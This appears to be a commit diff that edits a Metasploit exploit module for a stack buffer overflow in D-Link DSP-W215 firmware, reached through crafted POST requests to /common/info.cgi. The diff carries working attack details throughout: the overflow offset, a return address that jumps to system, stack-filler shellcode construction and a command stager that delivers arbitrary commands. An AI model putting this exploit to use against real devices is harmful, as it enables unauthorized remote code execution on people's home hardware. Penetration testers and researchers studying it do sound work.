@@ -15,8 +15,11 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'D-Link info.cgi Buffer Overflow in POST Request' ,
17
17
'Description' => %q{
18
- This module exploits an anonymous remote code execution vulnerability on different D-Link devices.
19
- This module has been successfully tested on D-Link DSP-W215 in an emulated environment.
18
+ This module exploits an anonymous remote code execution vulnerability on different D-Link
19
+ devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,
20
+ when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
21
+ handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
22
+ environment.
20
23
} ,
21
24
'Author' =>
22
25
[
@@ -40,12 +43,14 @@ def initialize(info = {})
40
43
[ 'D-Link DSP-W215 - v1.02' ,
41
44
{
42
45
'Offset' => 477472 ,
43
- 'Ret' => " \x00 \x40 \x5C \xEC " # jump to system - my_cgi.cgi
46
+ 'Ret' => 0x405cec # jump to system - my_cgi.cgi
44
47
}
45
48
]
46
49
] ,
47
50
'DisclosureDate' => 'May 22 2014' ,
48
51
'DefaultTarget' => 0 ) )
52
+
53
+ deregister_options ( 'CMDSTAGER::DECODER' , 'CMDSTAGER::FLAVOR' )
49
54
end
50
55
51
56
def check
@@ -56,38 +61,16 @@ def check
56
61
} )
57
62
58
63
if res && [ 200 , 301 , 302 ] . include? ( res . code )
59
-
60
- # trying to automatically detect a vulnerable device
61
- # I think there are other vulnerable devices out there
62
- # Todo: Check more devices and create some more targets
63
- if ( target [ 'auto' ] )
64
- if res . body =~ /DSP-W215A1/ && res . body =~ /1.02/
65
-
66
- self . targets . each do |t |
67
- if ( t . name =~ /DSP-W215.*1.02/ ) then
68
- @my_target = t
69
- break
70
- end
71
- end
72
-
73
- else
74
- # no supported device found
75
- return Exploit ::CheckCode ::Unknown
76
- end
77
-
78
- print_status ( "#{ peer } - Selected Target: #{ @mytarget . name } " )
79
- print_good ( "#{ peer } - detected a vulnerable device" )
80
- return Exploit ::CheckCode ::Detected
81
-
82
- # no auto-targetting ... the user is responsible
83
- else
84
- print_good ( "#{ peer } - detected a device with unknown exploitability ... trying to exploit" )
85
- return Exploit ::CheckCode ::Detected
64
+ if res . body =~ /DSP-W215A1/ && res . body =~ /1.02/
65
+ @my_target = targets [ 1 ] if target [ 'auto' ]
66
+ return Exploit ::CheckCode ::Appears
86
67
end
68
+
69
+ return Exploit ::CheckCode ::Detected
87
70
end
88
71
89
72
rescue ::Rex ::ConnectionError
90
- return Exploit ::CheckCode ::Unknown
73
+ return Exploit ::CheckCode ::Safe
91
74
end
92
75
93
76
Exploit ::CheckCode ::Unknown
@@ -96,14 +79,18 @@ def check
96
79
def exploit
97
80
print_status ( "#{ peer } - Trying to access the vulnerable URL..." )
98
81
99
- # Use a copy of the target
100
82
@my_target = target
83
+ check_code = check
101
84
102
- unless check == Exploit ::CheckCode ::Detected
103
- fail_with ( Failure ::Unknown , "#{ peer } - Failed to access the vulnerable URL" )
85
+ unless check_code == Exploit ::CheckCode ::Detected || check_code == Exploit :: CheckCode :: Appears
86
+ fail_with ( Failure ::NoTarget , "#{ peer } - Failed to access the vulnerable URL" )
104
87
end
105
88
106
- print_status ( "#{ peer } - Exploiting..." )
89
+ if @my_target . nil? || @my_target [ 'auto' ]
90
+ fail_with ( Failure ::NoTarget , "#{ peer } - Failed to auto detect, try setting a manual target..." )
91
+ end
92
+
93
+ print_status ( "#{ peer } - Exploiting #{ @my_target . name } ..." )
107
94
execute_cmdstager (
108
95
:flavor => :echo ,
109
96
:linemax => 185
@@ -112,7 +99,7 @@ def exploit
112
99
113
100
def prepare_shellcode ( cmd )
114
101
buf = rand_text_alpha_upper ( @my_target [ 'Offset' ] ) # Stack filler
115
- buf << @my_target . ret # Overwrite $ra -> jump to system
102
+ buf << [ @my_target . ret ] . pack ( "N" ) # Overwrite $ra -> jump to system
116
103
117
104
# la $t9, system
118
105
# la $s1, 0x440000
@@ -135,7 +122,7 @@ def execute_command(cmd, opts)
135
122
'vars_post' => {
136
123
'storage_path' => shellcode ,
137
124
}
138
- } )
125
+ } , 5 )
139
126
return res
140
127
rescue ::Rex ::ConnectionError
141
128
fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
0 commit comments